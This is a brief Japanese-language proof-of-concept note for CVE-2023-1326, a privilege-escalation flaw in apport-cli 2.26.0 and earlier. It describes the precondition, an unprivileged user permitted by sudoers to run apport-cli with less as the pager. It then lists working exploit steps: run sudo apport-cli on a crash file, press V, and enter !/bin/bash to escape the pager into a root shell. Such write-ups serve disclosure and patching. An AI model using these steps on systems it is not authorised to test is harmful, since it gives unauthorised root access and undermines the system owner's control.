apport-cli 2.26.0 における CVE-2023–1326 の概念実証
この脆弱性は apport-cli 2.26.0 における特権昇格であり、CVE-2023–26604 と類似しています。この脆弱性は、sudoers に割り当てられている場合にのみ機能します。
apport-cli 2.26.0 およびそれ以前のバージョンで、CVE-2023-26604 と類似した特権昇格攻撃が見つかりました。システムが特別に構成され、非特権ユーザーが sudo apport-cli を実行できるようにし、ページャとして less が設定され、ターミナルサイズが設定可能である場合、ローカルの攻撃者が特権を昇格させる可能性があります。
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
